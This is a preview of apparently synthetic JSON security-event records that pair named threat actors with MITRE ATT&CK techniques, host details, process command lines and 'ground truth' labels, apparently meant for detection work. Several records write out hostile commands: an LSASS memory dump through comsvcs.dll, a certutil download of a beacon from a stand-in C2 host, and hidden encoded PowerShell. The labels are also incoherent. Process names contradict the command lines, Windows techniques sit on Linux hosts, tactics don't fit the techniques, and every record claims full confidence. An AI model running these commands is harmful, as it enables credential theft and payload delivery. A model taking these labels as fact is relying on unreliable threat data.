text
stringlengths 1.13k
1.33k
|
|---|
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Privilege Escalation"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20260823T165717000Z_0018401","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.160.84.150","name":"IAM-ROLE-MV98X6SNZX","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18401Volt TyphoonT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.33.48.138","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2714 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-07-31T19:30:37.000Z","user":{"name":"azuread\\za0js0duebpc","sid":"S-1-5-21-750507620-889882817-6744"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Persistence","Credential Access","Defense Evasion"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20250415T183018000Z_0018403","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.39.224.191","name":"DB-ORACLE-0RPZX54FG8","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18403APT41T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.88.121.144","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-11-14T05:17:28.000Z","user":{"name":"i-9exv0acpk0qo","sid":"S-1-5-21-872083656-933010520-8887"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Collection","Defense Evasion"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20261205T131037000Z_0018405","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.80.9.205","name":"APP-WEB-UC5HWUT6RS","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18405APT41T1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.122.143.96","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-14T03:31:01.000Z","user":{"name":"CORP\\j15gbbxn9qae","sid":"S-1-5-21-792741242-395408447-3138"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Initial Access"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20261015T151900000Z_0018407","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.196.97.116","name":"AZURE-VM-QPO3AJKFBG","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18407Scattered SpiderT1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.61.62.67","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-02-06T23:26:56.000Z","user":{"name":"i-ihogtmuogm8b","sid":"S-1-5-21-867051420-746987422-3200"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Execution","Command and Control","Reconnaissance"],"technique_id":"T1570"},"event_id":"evt_apt29_20260117T144219000Z_0018409","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.60.249.160","name":"IAM-ROLE-YEKL92LJLQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18409APT29T1570"},"network":{"domain":"github.com","dst_ip":"1.167.126.176","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-04-02T07:31:51.000Z","user":{"name":"azuread\\6y7o1htqd1pv","sid":"S-1-5-21-475142666-356646276-8715"}}
|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Lateral Movement","Reconnaissance","Credential Access"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20250514T052237000Z_0018411","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.201.113.51","name":"AZURE-VM-AZYMCAM5CI","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18411Mustang PandaT1098.004"},"network":{"domain":"github.com","dst_ip":"1.0.88.61","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1358 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-09-14T17:24:05.000Z","user":{"name":"i-jzbg3hg9kuxo","sid":"S-1-5-21-247780767-337542368-8488"}}
|
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Lateral Movement"],"technique_id":"T1059.001"},"event_id":"evt_volttyphoon_20261026T170600000Z_0018413","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.1.185.127","name":"WIN-FIN-SRV-OM7UHP81FK","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18413Volt TyphoonT1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.22.208.214","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-04-13T15:37:43.000Z","user":{"name":"CORP\\fo582atuxjto","sid":"S-1-5-21-174008504-463393517-6857"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Impact","Persistence"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20260303T064945000Z_0018415","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.243.57.93","name":"APP-WEB-IR59SZ88IP","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18415Scattered SpiderT1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.3.232.30","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-02-24T02:24:04.000Z","user":{"name":"CORP\\7b8m7kotyfzn","sid":"S-1-5-21-802628589-369378581-8622"}}
|
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Initial Access","Lateral Movement","Reconnaissance"],"technique_id":"T1021.006"},"event_id":"evt_fin7_20250825T013217000Z_0018417","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.175.9.31","name":"WIN-FIN-SRV-BDAAY2Y6UC","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18417FIN7T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.67.84.146","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2214 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-12-18T08:09:54.000Z","user":{"name":"svc_dzoket7wo2l2","sid":"S-1-5-21-918803015-406854614-2197"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Command and Control","Persistence"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20260706T193520000Z_0018419","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.83.248.165","name":"APP-WEB-L3FIS57LXU","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18419UNC4841T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.185.230.22","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-02-21T01:00:10.000Z","user":{"name":"arn:aws:iam::m66pza9gn7gp","sid":"S-1-5-21-197197652-686298705-2191"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Lateral Movement"],"technique_id":"T1071.001"},"event_id":"evt_unc4841_20251127T004022000Z_0018421","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.166.205.31","name":"DB-ORACLE-5YBOVPHBJN","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18421UNC4841T1071.001"},"network":{"domain":"github.com","dst_ip":"1.9.41.122","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2993 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-07-29T10:25:02.000Z","user":{"name":"i-fsgccqil130q","sid":"S-1-5-21-389931862-764516790-4793"}}
|
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Command and Control","Persistence","Lateral Movement"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20260811T142413000Z_0018423","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.57.49.126","name":"APP-WEB-QA253B93YK","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18423FIN7T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.151.251.44","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-12-13T09:16:18.000Z","user":{"name":"azuread\\6lv340a2vybq","sid":"S-1-5-21-330371230-699423866-4611"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Impact","Defense Evasion","Privilege Escalation"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20261013T104408000Z_0018425","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.215.132.75","name":"WIN-FIN-SRV-DABFDE5LD4","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18425Lapsus$T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.123.247.191","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-01-25T13:08:16.000Z","user":{"name":"CORP\\42nyjg1pv3rv","sid":"S-1-5-21-502363971-725618133-7111"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Impact"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20260805T134848000Z_0018427","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.203.141.130","name":"WIN-FIN-SRV-BEJA526OHT","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18427UNC4841T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.129.109.144","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2414 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-02-25T23:49:45.000Z","user":{"name":"CORP\\00w45als352p","sid":"S-1-5-21-175533634-342546684-4708"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20251222T215117000Z_0018429","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.170.141.236","name":"IAM-ROLE-910VZX73G0","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18429APT29T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.88.47.198","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1679 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-06-14T04:54:03.000Z","user":{"name":"i-puhocd5ljsx1","sid":"S-1-5-21-670740360-521823944-8315"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance"],"technique_id":"T1071.001"},"event_id":"evt_unc4841_20260329T091009000Z_0018431","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.55.123.180","name":"APP-WEB-K9WEDR1M6O","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18431UNC4841T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.171.159.149","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-03-29T10:44:35.000Z","user":{"name":"CORP\\vej54j1i0qfk","sid":"S-1-5-21-165725401-933882742-5689"}}
|
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Collection","Initial Access"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20260722T085618000Z_0018433","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.29.72.164","name":"IAM-ROLE-0S11ZNMNTQ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18433Volt TyphoonT1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.74.235.18","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-09-08T23:12:13.000Z","user":{"name":"i-udty9qsn91dw","sid":"S-1-5-21-160799550-869116998-5850"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Privilege Escalation","Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_lapsus_20250811T144918000Z_0018435","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.134.23.140","name":"EC2-INST-8T052F57BA","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18435Lapsus$T1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.150.8.61","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-08-03T15:53:59.000Z","user":{"name":"i-90nt38pr7bb8","sid":"S-1-5-21-499311670-515993746-6200"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration","Discovery"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20260218T085822000Z_0018437","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.40.127.71","name":"APP-WEB-YZQ15M4ZF7","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18437Scattered SpiderT1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.27.126.218","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-07-03T21:10:30.000Z","user":{"name":"azuread\\8wucr1z5og0k","sid":"S-1-5-21-421695882-105790098-6631"}}
|
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance","Collection","Discovery"],"technique_id":"T1071.001"},"event_id":"evt_volttyphoon_20250108T070501000Z_0018439","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.34.183.68","name":"EC2-INST-QD9X9D19VZ","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18439Volt TyphoonT1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.67.30.140","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-10-18T07:37:48.000Z","user":{"name":"i-l8hrjiblqgbr","sid":"S-1-5-21-822909650-521573606-5659"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Execution","Initial Access","Privilege Escalation"],"technique_id":"T1098.004"},"event_id":"evt_scatteredspider_20260604T152022000Z_0018441","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.22.85.180","name":"WIN-FIN-SRV-O22YLNW6QZ","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18441Scattered SpiderT1098.004"},"network":{"domain":"github.com","dst_ip":"1.143.197.140","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-09-16T09:47:26.000Z","user":{"name":"CORP\\t3rmka4a7e3l","sid":"S-1-5-21-574663440-832762338-6133"}}
|
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Impact"],"technique_id":"T1566.001"},"event_id":"evt_fin7_20261106T062627000Z_0018443","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.59.175.36","name":"AZURE-VM-W7V7M6DQWV","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18443FIN7T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.15.252.193","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-12-14T05:41:34.000Z","user":{"name":"svc_67joxscr12im","sid":"S-1-5-21-352292814-783906983-1455"}}
|
